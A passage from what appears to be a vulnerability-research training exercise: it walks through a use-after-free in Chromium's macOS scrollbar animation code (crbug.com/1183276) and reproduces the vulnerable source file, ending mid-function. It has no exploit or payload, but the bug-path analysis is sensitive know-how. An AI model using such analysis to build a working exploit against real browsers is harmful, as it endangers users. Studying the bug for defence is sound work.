            scrollerPainter:scrollerPainter
                       part:blink::kThumbPart
             animateAlphaTo:newKnobAlpha
                   duration:duration];
}
============================================================================
- (void)setUpAlphaAnimation:
            (base::scoped_nsobject<BlinkScrollbarPartAnimation>&)
                scrollbarPartAnimation
            scrollerPainter:(ScrollbarPainter)scrollerPainter
                       part:(blink::ScrollbarPart)part
             animateAlphaTo:(CGFloat)newAlpha
                   duration:(NSTimeInterval)duration {
  blink::MacScrollbarAnimator* scrollbar_animator =
      _scrollbar->GetScrollableArea()->GetMacScrollbarAnimator();
  DCHECK(scrollbar_animator);
  // If the user has scrolled the page, then the scrollbars must be animated
  // here.
  // This overrides the early returns.
  bool mustAnimate = [self scrollAnimator].HaveScrolledSincePageLoad();
  if (scrollbar_animator->ScrollbarPaintTimerIsActive() && !mustAnimate)
    return;
  if (_scrollbar->GetScrollableArea()->ShouldSuspendScrollAnimations() &&
      !mustAnimate) {
    scrollbar_animator->StartScrollbarPaintTimer();
    return;
  }
  // At this point, we are definitely going to animate now, so stop the timer.
  scrollbar_animator->StopScrollbarPaintTimer();
  // If we are currently animating, stop
  if (scrollbarPartAnimation) {
    [scrollbarPartAnimation invalidate];
    scrollbarPartAnimation.reset();
  }
  scrollbarPartAnimation.reset([[BlinkScrollbarPartAnimation alloc]
      initWithScrollbar:_scrollbar
       featureToAnimate:part == blink::kThumbPart ? ThumbAlpha : TrackAlpha
            animateFrom:part == blink::kThumbPart ? [scrollerPainter knobAlpha]
                                                  : [scrollerPainter trackAlpha]
              animateTo:newAlpha
               duration:duration
             taskRunner:_taskRunner]);
  [scrollbarPartAnimation startAnimation];
}
```





### Do it
Do this exercise by yourself, If you find my answer have something wrong, please correct it.


---------

<details>
  <summary>My answer</summary>

  We can start from `TimerFired` func
  ```objective-c
  class BlinkScrollbarPartAnimationTimer [ ... ]
  void TimerFired(TimerBase*) {
    double current_time = base::Time::Now().ToDoubleT();
    double delta = current_time - start_time_;

    if (delta >= duration_)
      timer_.Stop();
    // This is a speculative fix for crbug.com/1183276.
    if (!animation_)
      return;

    double fraction = delta / duration_;
    fraction = clampTo(fraction, 0.0, 1.0);
    double progress = timing_function_->Evaluate(fraction);
    [animation_ setCurrentProgress:progress];  [1] call setCurrentProgress. Notice `animation_`
  }

  private:
    BlinkScrollbarPartAnimation* animation_;  [2] weak, own this
  ```
  [2] `BlinkScrollbarPartAnimationTimer` own the instance of `BlinkScrollbarPartAnimation` which assignmented by constructor. This make a chance to trigger uaf.

  ```objective-c
  - (void)setCurrentProgress:(NSAnimationProgress)progress {
    DCHECK(_scrollbar);
    CGFloat currentValue;
    blink::ScrollbarPart invalidParts = blink::kNoPart;
    switch (_featureToAnimate) {
      case ThumbAlpha:
        [_scrollbarPainter setKnobAlpha:currentValue];  [3] call ScrollbarPainter::setKnobAlpha
        break;
      case TrackAlpha:
        [_scrollbarPainter setTrackAlpha:currentValue];
        invalidParts = static_cast<blink::ScrollbarPart>(~blink::kThumbPart);
        break;
    }
    _scrollbar->SetNeedsPaintInvalidation(invalidParts);
  }
  ```
  `setCurrentProgress` can call `setKnobAlpha`
  ```objective-c
  - (void)scrollerImp:(id)scrollerImp
      animateKnobAlphaTo:(CGFloat)newKnobAlpha
                duration:(NSTimeInterval)duration {
    if (!_scrollbar)
      return;

    DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar));

    ScrollbarPainter scrollerPainter = (ScrollbarPainter)scrollerImp;
    [self setUpAlphaAnimation:_knobAlphaAnimation    [4] call BlinkScrollbarPainterDelegate::setUpAlphaAnimation
              scrollerPainter:scrollerPainter
                        part:blink::kThumbPart
              animateAlphaTo:newKnobAlpha
                    duration:duration];
  }
  ```
  ```objective-c
  - (void)setUpAlphaAnimation:
              (base::scoped_nsobject<BlinkScrollbarPartAnimation>&)
                  scrollbarPartAnimation
              scrollerPainter:(ScrollbarPainter)scrollerPainter
                        part:(blink::ScrollbarPart)part
              animateAlphaTo:(CGFloat)newAlpha
                    duration:(NSTimeInterval)duration {
    blink::MacScrollbarAnimator* scrollbar_animator =
        _scrollbar->GetScrollableArea()->GetMacScrollbarAnimator();
    DCHECK(scrollbar_animator);

    // If we are currently animating, stop
    if (scrollbarPartAnimation) {                                       [5]
      [scrollbarPartAnimation invalidate];
      scrollbarPartAnimation.reset();
    }
    scrollbarPartAnimation.reset([[BlinkScrollbarPartAnimation alloc]   [6]
        initWithScrollbar:_scrollbar
        featureToAnimate:part == blink::kThumbPart ? ThumbAlpha : TrackAlpha
              animateFrom:part == blink::kThumbPart ? [scrollerPainter knobAlpha]
                                                    : [scrollerPainter trackAlpha]
                animateTo:newAlpha
                duration:duration
              taskRunner:_taskRunner]);
    [scrollbarPartAnimation startAnimation];
  }
  ```
  The `(base::scoped_nsobject<BlinkScrollbarPartAnimation>&) scrollbarPartAnimation` can be release by `reset()`

  - About `scoped_nsobject`:
    >`scoped_nsobject<>` is patterned after std::unique_ptr<>, but maintains
    ownership of an NSObject subclass object.  Style deviations here are solely
    for compatibility with std::unique_ptr<>'s interface, with which everyone is
    already familiar.

    >scoped_nsobject<> takes ownership of an object (in the constructor or in
    reset()) by taking over the caller's existing ownership claim.  The caller
    must own the object it gives to scoped_nsobject<>, and relinquishes an
    ownership claim to that object.  **scoped_nsobject<> does not call -retain,
    callers have to call this manually if appropriate.**
  - About `void base::scoped_nsprotocol< NST >::reset( NST object = nil )`:
    ```objective-c                            {
      // We intentionally do not check that object != object_ as the caller must
      // either already have an ownership claim over whatever it passes to this
      // method, or call it with the |RETAIN| policy which will have ensured that
      // the object is retained once more when reaching this point.
      [object_ release];
      object_ = object;
      }
    ```


</details>

--------



================================================
FILE: LEVEL_1/exercise_4/mac_scrollbar_animator_impl.mm
================================================
// Copyright 2021 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#include "third_party/blink/renderer/core/scroll/mac_scrollbar_animator_impl.h"

#import <AppKit/AppKit.h>

#include "base/mac/scoped_nsobject.h"
#include "third_party/blink/public/platform/platform.h"
#include "third_party/blink/renderer/core/scroll/ns_scroller_imp_details.h"
#include "third_party/blink/renderer/core/scroll/scroll_animator.h"
#include "third_party/blink/renderer/core/scroll/scrollbar_theme_mac.h"
#include "third_party/blink/renderer/platform/animation/timing_function.h"
#include "third_party/blink/renderer/platform/mac/block_exceptions.h"
#include "third_party/blink/renderer/platform/scheduler/public/thread_scheduler.h"

namespace {
bool SupportsUIStateTransitionProgress() {
  // FIXME: This is temporary until all platforms that support ScrollbarPainter
  // support this part of the API.
  static bool global_supports_ui_state_transition_progress =
      [NSClassFromString(@"NSScrollerImp")
          instancesRespondToSelector:@selector(mouseEnteredScroller)];
  return global_supports_ui_state_transition_progress;
}

bool SupportsExpansionTransitionProgress() {
  static bool global_supports_expansion_transition_progress =
      [NSClassFromString(@"NSScrollerImp")
          instancesRespondToSelector:@selector(expansionTransitionProgress)];
  return global_supports_expansion_transition_progress;
}

bool SupportsContentAreaScrolledInDirection() {
  static bool global_supports_content_area_scrolled_in_direction =
      [NSClassFromString(@"NSScrollerImpPair")
          instancesRespondToSelector:@selector
          (contentAreaScrolledInDirection:)];
  return global_supports_content_area_scrolled_in_direction;
}

blink::ScrollbarThemeMac* MacOverlayScrollbarTheme(
    blink::ScrollbarTheme& scrollbar_theme) {
  return !scrollbar_theme.IsMockTheme()
             ? static_cast<blink::ScrollbarThemeMac*>(&scrollbar_theme)
             : nil;
}

ScrollbarPainter ScrollbarPainterForScrollbar(blink::Scrollbar& scrollbar) {
  if (blink::ScrollbarThemeMac* scrollbar_theme =
          MacOverlayScrollbarTheme(scrollbar.GetTheme()))
    return scrollbar_theme->PainterForScrollbar(scrollbar);

  return nil;
}

}  // namespace

// This class is a delegator of ScrollbarPainterController to ScrollableArea
// that has the scrollbars of a ScrollbarPainter.
@interface BlinkScrollbarPainterControllerDelegate : NSObject {
  blink::ScrollableArea* _scrollableArea;
}
- (id)initWithScrollableArea:(blink::ScrollableArea*)scrollableArea;
@end

@implementation BlinkScrollbarPainterControllerDelegate

- (id)initWithScrollableArea:(blink::ScrollableArea*)scrollableArea {
  self = [super init];
  if (!self)
    return nil;

  _scrollableArea = scrollableArea;
  return self;
}

- (void)invalidate {
  _scrollableArea = 0;
}

- (NSRect)contentAreaRectForScrollerImpPair:(id)scrollerImpPair {
  if (!_scrollableArea)
    return NSZeroRect;

  blink::IntSize contentsSize = _scrollableArea->ContentsSize();
  return NSMakeRect(0, 0, contentsSize.Width(), contentsSize.Height());
}

- (BOOL)inLiveResizeForScrollerImpPair:(id)scrollerImpPair {
  return NO;
}

- (NSPoint)mouseLocationInContentAreaForScrollerImpPair:(id)scrollerImpPair {
  if (!_scrollableArea)
    return NSZeroPoint;

  return _scrollableArea->LastKnownMousePosition();
}

- (NSPoint)scrollerImpPair:(id)scrollerImpPair
       convertContentPoint:(NSPoint)pointInContentArea
             toScrollerImp:(id)scrollerImp {
  if (!_scrollableArea || !scrollerImp)
    return NSZeroPoint;

  blink::Scrollbar* scrollbar = nil;
  if ([scrollerImp isHorizontal])
    scrollbar = _scrollableArea->HorizontalScrollbar();
  else
    scrollbar = _scrollableArea->VerticalScrollbar();

  // It is possible to have a null scrollbar here since it is possible for this
  // delegate method to be called between the moment when a scrollbar has been
  // set to 0 and the moment when its destructor has been called.
  if (!scrollbar)
    return NSZeroPoint;

  DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*scrollbar));

  return scrollbar->ConvertFromContainingEmbeddedContentView(
      blink::IntPoint(pointInContentArea));
}

- (void)scrollerImpPair:(id)scrollerImpPair
    setContentAreaNeedsDisplayInRect:(NSRect)rect {
  if (!_scrollableArea)
    return;

  if (!_scrollableArea->ScrollbarsCanBeActive())
    return;

  _scrollableArea->ContentAreaWillPaint();
}

- (void)scrollerImpPair:(id)scrollerImpPair
    updateScrollerStyleForNewRecommendedScrollerStyle:
        (NSScrollerStyle)newRecommendedScrollerStyle {
  // Chrome has a single process mode which is used for testing on Mac. In that
  // mode, WebKit runs on a thread in the
  // browser process. This notification is called by the OS on the main thread
  // in the browser process, and not on the
  // the WebKit thread. Better to not update the style than crash.
  // http://crbug.com/126514
  if (!IsMainThread())
    return;

  if (!_scrollableArea)
    return;

  [scrollerImpPair setScrollerStyle:newRecommendedScrollerStyle];

  _scrollableArea->GetMacScrollbarAnimator()->UpdateScrollerStyle();
}

@end

enum FeatureToAnimate {
  ThumbAlpha,
  TrackAlpha,
  UIStateTransition,
  ExpansionTransition
};

@class BlinkScrollbarPartAnimation;
namespace blink {
// This class is used to drive the animation timer for
// BlinkScrollbarPartAnimation
// objects. This is used instead of NSAnimation because CoreAnimation
// establishes connections to the WindowServer, which should not be done in a
// sandboxed renderer process.
class BlinkScrollbarPartAnimationTimer {
 public:
  BlinkScrollbarPartAnimationTimer(
      BlinkScrollbarPartAnimation* animation,
      CFTimeInterval duration,
      scoped_refptr<base::SingleThreadTaskRunner> task_runner)
      : timer_(std::move(task_runner),
               this,
               &BlinkScrollbarPartAnimationTimer::TimerFired),
        start_time_(0.0),
        duration_(duration),
        animation_(animation),
        timing_function_(CubicBezierTimingFunction::Preset(
            CubicBezierTimingFunction::EaseType::EASE_IN_OUT)) {}

  ~BlinkScrollbarPartAnimationTimer() {}

  void Start() {
    start_time_ = base::Time::Now().ToDoubleT();
    // Set the framerate of the animation. NSAnimation uses a default
    // framerate of 60 Hz, so use that here.
    timer_.StartRepeating(base::TimeDelta::FromSecondsD(1.0 / 60.0), FROM_HERE);
  }

  void Stop() { timer_.Stop(); }

  void SetDuration(CFTimeInterval duration) { duration_ = duration; }

  // This is a speculative fix for crbug.com/1183276.
  // In BlinkScrollbarPainterDelegate::setUpAlphaAnimation we are
  // deallocating BlinkScrollbarPartAnimation and create a new one.
  // The problem seems to be with BlinkScrollbarPartAnimation, passing a
  // pointer to itself to BlinkScrollbarPartAnimationTimer.
  // BlinkScrollbarPartAnimationTimer uses a TaskRunnerTimer to schedule
  // the animation to run 60 times second.
  // When we deallocate BlinkScrollbarPartAnimation,
  // BlinkScrollbarPartAnimationTimer fires again, I believe because it
  // uses PostTaskDelayed to schedule the next animation.
  // Ideally the timer won't fire again.
  void CancelAnimation() { animation_ = nullptr; }

 private:
  void TimerFired(TimerBase*) {
    double current_time = base::Time::Now().ToDoubleT();
    double delta = current_time - start_time_;

    if (delta >= duration_)
      timer_.Stop();
    // This is a speculative fix for crbug.com/1183276.
    if (!animation_)
      return;

    double fraction = delta / duration_;
    fraction = clampTo(fraction, 0.0, 1.0);
    double progress = timing_function_->Evaluate(fraction);
    [animation_ setCurrentProgress:progress];
  }

  TaskRunnerTimer<BlinkScrollbarPartAnimationTimer> timer_;
  double start_time_;                       // In seconds.
  double duration_;                         // In seconds.
  BlinkScrollbarPartAnimation* animation_;  // Weak, owns this.
  scoped_refptr<CubicBezierTimingFunction> timing_function_;
};

}  // namespace blink

// This class handles the animation of a |_featureToAnimate| part of
// |_scrollbar|.
@interface BlinkScrollbarPartAnimation : NSObject {
  blink::Scrollbar* _scrollbar;
  std::unique_ptr<blink::BlinkScrollbarPartAnimationTimer> _timer;
  base::scoped_nsobject<ScrollbarPainter> _scrollbarPainter;
  FeatureToAnimate _featureToAnimate;
  CGFloat _startValue;
  CGFloat _endValue;
}
- (id)initWithScrollbar:(blink::Scrollbar*)scrollbar
       featureToAnimate:(FeatureToAnimate)featureToAnimate
            animateFrom:(CGFloat)startValue
              animateTo:(CGFloat)endValue
               duration:(NSTimeInterval)duration
             taskRunner:(scoped_refptr<base::SingleThreadTaskRunner>)taskRunner;
@end

@implementation BlinkScrollbarPartAnimation

- (id)initWithScrollbar:(blink::Scrollbar*)scrollbar
       featureToAnimate:(FeatureToAnimate)featureToAnimate
            animateFrom:(CGFloat)startValue
              animateTo:(CGFloat)endValue
               duration:(NSTimeInterval)duration
             taskRunner:
                 (scoped_refptr<base::SingleThreadTaskRunner>)taskRunner {
  self = [super init];
  if (!self)
    return nil;

  _timer = std::make_unique<blink::BlinkScrollbarPartAnimationTimer>(
      self, duration, std::move(taskRunner));
  _scrollbar = scrollbar;
  _featureToAnimate = featureToAnimate;
  _startValue = startValue;
  _endValue = endValue;

  return self;
}

- (void)startAnimation {
  DCHECK(_scrollbar);
  _scrollbarPainter.reset(ScrollbarPainterForScrollbar(*_scrollbar),
                          base::scoped_policy::RETAIN);
  _timer->Start();
}

- (void)stopAnimation {
  _timer->Stop();
}

- (void)setDuration:(CFTimeInterval)duration {
  _timer->SetDuration(duration);
}

- (void)setStartValue:(CGFloat)startValue {
  _startValue = startValue;
}

- (void)setEndValue:(CGFloat)endValue {
  _endValue = endValue;
}

- (void)setCurrentProgress:(NSAnimationProgress)progress {
  DCHECK(_scrollbar);
  CGFloat currentValue;
  if (_startValue > _endValue)
    currentValue = 1 - progress;
  else
    currentValue = progress;

  blink::ScrollbarPart invalidParts = blink::kNoPart;
  switch (_featureToAnimate) {
    case ThumbAlpha:
      [_scrollbarPainter setKnobAlpha:currentValue];
      break;
    case TrackAlpha:
      [_scrollbarPainter setTrackAlpha:currentValue];
      invalidParts = static_cast<blink::ScrollbarPart>(~blink::kThumbPart);
      break;
    case UIStateTransition:
      [_scrollbarPainter setUiStateTransitionProgress:currentValue];
      invalidParts = blink::kAllParts;
      break;
    case ExpansionTransition:
      [_scrollbarPainter setExpansionTransitionProgress:currentValue];
      invalidParts = blink::kThumbPart;
      break;
  }

  _scrollbar->SetNeedsPaintInvalidation(invalidParts);
}

- (void)invalidate {
  BEGIN_BLOCK_OBJC_EXCEPTIONS;
  [self stopAnimation];
  END_BLOCK_OBJC_EXCEPTIONS;
  _scrollbar = nullptr;
  _timer->CancelAnimation();
}
@end

// This class is a delegator of ScrollbarPainter to the 4 types of animation
// it can run. The animations are run through BlinkScrollbarPartAnimation.
@interface BlinkScrollbarPainterDelegate : NSObject <NSAnimationDelegate> {
  blink::Scrollbar* _scrollbar;
  scoped_refptr<base::SingleThreadTaskRunner> _taskRunner;

  base::scoped_nsobject<BlinkScrollbarPartAnimation> _knobAlphaAnimation;
  base::scoped_nsobject<BlinkScrollbarPartAnimation> _trackAlphaAnimation;
  base::scoped_nsobject<BlinkScrollbarPartAnimation>
      _uiStateTransitionAnimation;
  base::scoped_nsobject<BlinkScrollbarPartAnimation>
      _expansionTransitionAnimation;
  BOOL _hasExpandedSinceInvisible;
}
- (id)initWithScrollbar:(blink::Scrollbar*)scrollbar
             taskRunner:(scoped_refptr<base::SingleThreadTaskRunner>)taskRunner;
- (void)updateVisibilityImmediately:(bool)show;
- (void)cancelAnimations;
@end

@implementation BlinkScrollbarPainterDelegate

- (id)initWithScrollbar:(blink::Scrollbar*)scrollbar
             taskRunner:
                 (scoped_refptr<base::SingleThreadTaskRunner>)taskRunner {
  self = [super init];
  if (!self)
    return nil;

  _scrollbar = scrollbar;
  _taskRunner = taskRunner;
  return self;
}

- (void)updateVisibilityImmediately:(bool)show {
  [self cancelAnimations];
  [ScrollbarPainterForScrollbar(*_scrollbar) setKnobAlpha:(show ? 1.0 : 0.0)];
}

- (void)cancelAnimations {
  BEGIN_BLOCK_OBJC_EXCEPTIONS;
  [_knobAlphaAnimation stopAnimation];
  [_trackAlphaAnimation stopAnimation];
  [_uiStateTransitionAnimation stopAnimation];
  [_expansionTransitionAnimation stopAnimation];
  END_BLOCK_OBJC_EXCEPTIONS;
}

- (blink::ScrollAnimator&)scrollAnimator {
  return static_cast<blink::ScrollAnimator&>(
      _scrollbar->GetScrollableArea()->GetScrollAnimator());
}

- (NSRect)convertRectToBacking:(NSRect)aRect {
  return aRect;
}

- (NSRect)convertRectFromBacking:(NSRect)aRect {
  return aRect;
}

- (NSPoint)mouseLocationInScrollerForScrollerImp:(id)scrollerImp {
  if (!_scrollbar)
    return NSZeroPoint;

  DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar));

  return _scrollbar->ConvertFromContainingEmbeddedContentView(
      _scrollbar->GetScrollableArea()->LastKnownMousePosition());
}

- (void)setUpAlphaAnimation:
            (base::scoped_nsobject<BlinkScrollbarPartAnimation>&)
                scrollbarPartAnimation
            scrollerPainter:(ScrollbarPainter)scrollerPainter
                       part:(blink::ScrollbarPart)part
             animateAlphaTo:(CGFloat)newAlpha
                   duration:(NSTimeInterval)duration {
  blink::MacScrollbarAnimator* scrollbar_animator =
      _scrollbar->GetScrollableArea()->GetMacScrollbarAnimator();
  DCHECK(scrollbar_animator);

  // If the user has scrolled the page, then the scrollbars must be animated
  // here.
  // This overrides the early returns.
  bool mustAnimate = [self scrollAnimator].HaveScrolledSincePageLoad();

  if (scrollbar_animator->ScrollbarPaintTimerIsActive() && !mustAnimate)
    return;

  if (_scrollbar->GetScrollableArea()->ShouldSuspendScrollAnimations() &&
      !mustAnimate) {
    scrollbar_animator->StartScrollbarPaintTimer();
    return;
  }

  // At this point, we are definitely going to animate now, so stop the timer.
  scrollbar_animator->StopScrollbarPaintTimer();

  // If we are currently animating, stop
  if (scrollbarPartAnimation) {
    [scrollbarPartAnimation invalidate];
    scrollbarPartAnimation.reset();
  }

  scrollbarPartAnimation.reset([[BlinkScrollbarPartAnimation alloc]
      initWithScrollbar:_scrollbar
       featureToAnimate:part == blink::kThumbPart ? ThumbAlpha : TrackAlpha
            animateFrom:part == blink::kThumbPart ? [scrollerPainter knobAlpha]
                                                  : [scrollerPainter trackAlpha]
              animateTo:newAlpha
               duration:duration
             taskRunner:_taskRunner]);
  [scrollbarPartAnimation startAnimation];
}

- (void)scrollerImp:(id)scrollerImp
    animateKnobAlphaTo:(CGFloat)newKnobAlpha
              duration:(NSTimeInterval)duration {
  if (!_scrollbar)
    return;

  DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar));

  ScrollbarPainter scrollerPainter = (ScrollbarPainter)scrollerImp;
  [self setUpAlphaAnimation:_knobAlphaAnimation
            scrollerPainter:scrollerPainter
                       part:blink::kThumbPart
             animateAlphaTo:newKnobAlpha
                   duration:duration];
}

- (void)scrollerImp:(id)scrollerImp
    animateTrackAlphaTo:(CGFloat)newTrackAlpha
               duration:(NSTimeInterval)duration {
  if (!_scrollbar)
    return;

  DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar));

  ScrollbarPainter scrollerPainter = (ScrollbarPainter)scrollerImp;
  [self setUpAlphaAnimation:_trackAlphaAnimation
            scrollerPainter:scrollerPainter
                       part:blink::kBackTrackPart
             animateAlphaTo:newTrackAlpha
                   duration:duration];
}

- (void)scrollerImp:(id)scrollerImp
    animateUIStateTransitionWithDuration:(NSTimeInterval)duration {
  if (!_scrollbar)
    return;

  if (!SupportsUIStateTransitionProgress())
    return;

  DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar));

  ScrollbarPainter scrollbarPainter = (ScrollbarPainter)scrollerImp;

  // UIStateTransition always animates to 1. In case an animation is in progress
  // this avoids a hard transition.
  [scrollbarPainter
      setUiStateTransitionProgress:1 - [scrollerImp uiStateTransitionProgress]];

  if (!_uiStateTransitionAnimation)
    _uiStateTransitionAnimation.reset([[BlinkScrollbarPartAnimation alloc]
        initWithScrollbar:_scrollbar
         featureToAnimate:UIStateTransition
              animateFrom:[scrollbarPainter uiStateTransitionProgress]
                animateTo:1.0
                 duration:duration
               taskRunner:_taskRunner]);
  else {
    // If we don't need to initialize the animation, just reset the values in
    // case they have changed.
    [_uiStateTransitionAnimation
        setStartValue:[scrollbarPainter uiStateTransitionProgress]];
    [_uiStateTransitionAnimation setEndValue:1.0];
    [_uiStateTransitionAnimation setDuration:duration];
  }
  [_uiStateTransitionAnimation startAnimation];
}

- (void)scrollerImp:(id)scrollerImp
    animateExpansionTransitionWithDuration:(NSTimeInterval)duration {
  if (!_scrollbar)
    return;

  if (!SupportsExpansionTransitionProgress())
    return;

  DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar));

  ScrollbarPainter scrollbarPainter = (ScrollbarPainter)scrollerImp;

  // ExpansionTransition always animates to 1. In case an animation is in
  // progress this avoids a hard transition.
  [scrollbarPainter
      setExpansionTransitionProgress:1 -
                                     [scrollerImp expansionTransitionProgress]];

  if (!_expansionTransitionAnimation) {
    _expansionTransitionAnimation.reset([[BlinkScrollbarPartAnimation alloc]
        initWithScrollbar:_scrollbar
         featureToAnimate:ExpansionTransition
              animateFrom:[scrollbarPainter expansionTransitionProgress]
                animateTo:1.0
                 duration:duration
               taskRunner:_taskRunner]);
  } else {
    // If we don't need to initialize the animation, just reset the values in
    // case they have changed.
    [_expansionTransitionAnimation
        setStartValue:[scrollbarPainter uiStateTransitionProgress]];
    [_expansionTransitionAnimation setEndValue:1.0];
    [_expansionTransitionAnimation setDuration:duration];
  }
  [_expansionTransitionAnimation startAnimation];
}

- (void)scrollerImp:(id)scrollerImp
    overlayScrollerStateChangedTo:(NSUInteger)newOverlayScrollerState {
  // The names of these states are based on their observed behavior, and are not
  // based on documentation.
  enum {
    NSScrollerStateInvisible = 0,
    NSScrollerStateKnob = 1,
    NSScrollerStateExpanded = 2
  };
  // We do not receive notifications about the thumb un-expanding when the
  // scrollbar fades away. Ensure
  // that we re-paint the thumb the next time that we transition away from being
  // invisible, so that
  // the thumb doesn't stick in an expanded state.
  if (newOverlayScrollerState == NSScrollerStateExpanded) {
    _hasExpandedSinceInvisible = YES;
  } else if (newOverlayScrollerState != NSScrollerStateInvisible &&
             _hasExpandedSinceInvisible) {
    _scrollbar->SetNeedsPaintInvalidation(blink::kThumbPart);
    _hasExpandedSinceInvisible = NO;
  }
}

- (void)invalidate {
  _scrollbar = 0;
  BEGIN_BLOCK_OBJC_EXCEPTIONS;
  [_knobAlphaAnimation invalidate];
  [_trackAlphaAnimation invalidate];
  [_uiStateTransitionAnimation invalidate];
  [_expansionTransitionAnimation invalidate];
  END_BLOCK_OBJC_EXCEPTIONS;
}
@end

namespace blink {
MacScrollbarAnimatorImpl::MacScrollbarAnimatorImpl(
    ScrollableArea* scrollable_area)
    : task_runner_(scrollable_area->GetCompositorTaskRunner()),
      scrollable_area_(scrollable_area) {
  scrollbar_painter_controller_delegate_.reset(
      [[BlinkScrollbarPainterControllerDelegate alloc]
          initWithScrollableArea:scrollable_area]);
  scrollbar_painter_controller_.reset(
      [[[NSClassFromString(@"NSScrollerImpPair") alloc] init] autorelease],
      base::scoped_policy::RETAIN);
  [scrollbar_painter_controller_
      performSelector:@selector(setDelegate:)
           withObject:scrollbar_painter_controller_delegate_];
  [scrollbar_painter_controller_
      setScrollerStyle:ScrollbarThemeMac::RecommendedScrollerStyle()];
}

void MacScrollbarAnimatorImpl::Dispose() {
  BEGIN_BLOCK_OBJC_EXCEPTIONS;
  ScrollbarPainter horizontal_scrollbar_painter =
      [scrollbar_painter_controller_ horizontalScrollerImp];
  [horizontal_scrollbar_painter setDelegate:nil];

  ScrollbarPainter vertical_scrollbar_painter =
      [scrollbar_painter_controller_ verticalScrollerImp];
  [vertical_scrollbar_painter setDelegate:nil];

  [scrollbar_painter_controller_delegate_ invalidate];
  [scrollbar_painter_controller_ setDelegate:nil];
  [horizontal_scrollbar_painter_delegate_ invalidate];
  [vertical_scrollbar_painter_delegate_ invalidate];
  END_BLOCK_OBJC_EXCEPTIONS;

  initial_scrollbar_paint_task_handle_.Cancel();
  send_content_area_scrolled_task_handle_.Cancel();
}

void MacScrollbarAnimatorImpl::ContentAreaWillPaint() const {
  if (!scrollable_area_->ScrollbarsCanBeActive())
    return;
  [scrollbar_painter_controller_ contentAreaWillDraw];
}
void MacScrollbarAnimatorImpl::MouseEnteredContentArea() const {
  if (!scrollable_area_->ScrollbarsCanBeActive())
    return;
  [scrollbar_painter_controller_ mouseEnteredContentArea];
}
void MacScrollbarAnimatorImpl::MouseExitedContentArea() const {
  if (!scrollable_area_->ScrollbarsCanBeActive())
    return;
  [scrollbar_painter_controller_ mouseExitedContentArea];
}
void MacScrollbarAnimatorImpl::MouseMovedInContentArea() const {
  if (!scrollable_area_->ScrollbarsCanBeActive())
    return;
  [scrollbar_painter_controller_ mouseMovedInContentArea];
}

void MacScrollbarAnimatorImpl::MouseEnteredScrollbar(
    Scrollbar& scrollbar) const {
  if (!scrollable_area_->ScrollbarsCanBeActive())
    return;

  if (!SupportsUIStateTransitionProgress())
    return;
  if (ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar))
    [painter mouseEnteredScroller];
}

void MacScrollbarAnimatorImpl::MouseExitedScrollbar(
    Scrollbar& scrollbar) const {
  if (!scrollable_area_->ScrollbarsCanBeActive())
    return;

  if (!SupportsUIStateTransitionProgress())
    return;
  if (ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar))
    [painter mouseExitedScroller];
}

void MacScrollbarAnimatorImpl::ContentsResized() const {
  if (!scrollable_area_->ScrollbarsCanBeActive())
    return;
  [scrollbar_painter_controller_ contentAreaDidResize];
}

void MacScrollbarAnimatorImpl::DidAddVerticalScrollbar(Scrollbar& scrollbar) {
  ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar);
  if (!painter)
    return;

  DCHECK(!vertical_scrollbar_painter_delegate_);
  vertical_scrollbar_painter_delegate_.reset(
      [[BlinkScrollbarPainterDelegate alloc] initWithScrollbar:&scrollbar
                                                    taskRunner:task_runner_]);

  [painter setDelegate:vertical_scrollbar_painter_delegate_];
  [scrollbar_painter_controller_ setVerticalScrollerImp:painter];
}

void MacScrollbarAnimatorImpl::WillRemoveVerticalScrollbar(
    Scrollbar& scrollbar) {
  ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar);
  DCHECK_EQ([scrollbar_painter_controller_ verticalScrollerImp], painter);

  if (!painter)
    DCHECK(!vertical_scrollbar_painter_delegate_);

  [painter setDelegate:nil];
  [vertical_scrollbar_painter_delegate_ invalidate];
  vertical_scrollbar_painter_delegate_.reset();
  [scrollbar_painter_controller_ setVerticalScrollerImp:nil];
}

void MacScrollbarAnimatorImpl::DidAddHorizontalScrollbar(Scrollbar& scrollbar) {
  ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar);
  if (!painter)
    return;

  DCHECK(!horizontal_scrollbar_painter_delegate_);
  horizontal_scrollbar_painter_delegate_.reset(
      [[BlinkScrollbarPainterDelegate alloc] initWithScrollbar:&scrollbar
                                                    taskRunner:task_runner_]);

  [painter setDelegate:horizontal_scrollbar_painter_delegate_];
  [scrollbar_painter_controller_ setHorizontalScrollerImp:painter];
}

void MacScrollbarAnimatorImpl::WillRemoveHorizontalScrollbar(
    Scrollbar& scrollbar) {
  ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar);
  DCHECK_EQ([scrollbar_painter_controller_ horizontalScrollerImp], painter);

  if (!painter)
    DCHECK(!horizontal_scrollbar_painter_delegate_);

  [painter setDelegate:nil];
  [horizontal_scrollbar_painter_delegate_ invalidate];
  horizontal_scrollbar_painter_delegate_.reset();
  [scrollbar_painter_controller_ setHorizontalScrollerImp:nil];
}

bool MacScrollbarAnimatorImpl::SetScrollbarsVisibleForTesting(bool show) {
  if (show)
    [scrollbar_painter_controller_ flashScrollers];
  else
    [scrollbar_painter_controller_ hideOverlayScrollers];

  [vertical_scrollbar_painter_delegate_ updateVisibilityImmediately:show];
  [horizontal_scrollbar_painter_delegate_ updateVisibilityImmediately:show];
  return true;
}

void MacScrollbarAnimatorImpl::UpdateScrollerStyle() {
  if (!scrollable_area_->ScrollbarsCanBeActive())
    return;

  blink::ScrollbarThemeMac* mac_theme =
      MacOverlayScrollbarTheme(scrollable_area_->GetPageScrollbarTheme());
  if (!mac_theme)
    return;

  NSScrollerStyle new_style = [scrollbar_painter_controller_ scrollerStyle];

